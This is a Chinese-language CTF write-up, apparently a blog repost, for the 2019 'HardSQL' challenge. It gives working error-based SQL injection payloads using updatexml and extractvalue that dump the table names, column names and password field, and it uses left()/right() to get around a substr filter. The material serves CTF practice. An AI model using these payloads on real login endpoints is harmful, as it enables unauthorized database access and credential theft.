1. 程式人生 > 實用技巧 >[極客大挑戰 2019]HardSQL updatexml

[極客大挑戰 2019]HardSQL updatexml

報錯注入
連結:

https://www.cnblogs.com/richardlee97/p/10617115.html
報錯原因:

其原因主要是因為虛擬表的主鍵重複。按照MySQL的官方說法,group by要進行兩次運算,第一次是拿group by後面的欄位值到虛擬表中去對比前,首先獲取group by後面的值;第二次是假設group by後面的欄位的值在虛擬表中不存在,那就需要把它插入到虛擬表中,這裡在插入時會進行第二次運算,由於rand函式存在一定的隨機性,所以第二次運算的結果可能與第一次運算的結果不一致,但是這個運算的結果可能在虛擬表中已經存在了,那麼這時的插入必然導致主鍵的重複,進而引發錯誤。

0
|10x01 解題


簡單測試一下:

發現union被直接過濾掉了,不能使用雙寫繞過等方式,不過我們可以使用報錯注入進行注入可以使用extractvalue和updatexml進行報錯注入

先貼上payload:

?username=admin%27or(updatexml(1,concat(0x7e,(select(password)from(H4rDsq1)),0x7e),1))%23&password=123

整個過程的注入語句:

updatexml(1,concat(0x7e,(SELECT(database())),0x7e),1) updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1) updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1) updatexml(1,concat(0x7e,(select(password)from(H4rDsq1)),0x7e),1)

出來了一部分flag:

看網上的wp他們出來也沒看到有沒有出。。
有一個思路是
substr過濾了不能
用另外一個騷操作{left(),right()}
進行拼接

playload

username=44&password=1%27^extractvalue(1,concat(0x7e,(select(left(password,30))from(geek.H4rDsq1))))%23

用left和right進行拼接就出來flag了
連結:
https://blog.csdn.net/SopRomeo/article/details/104041233/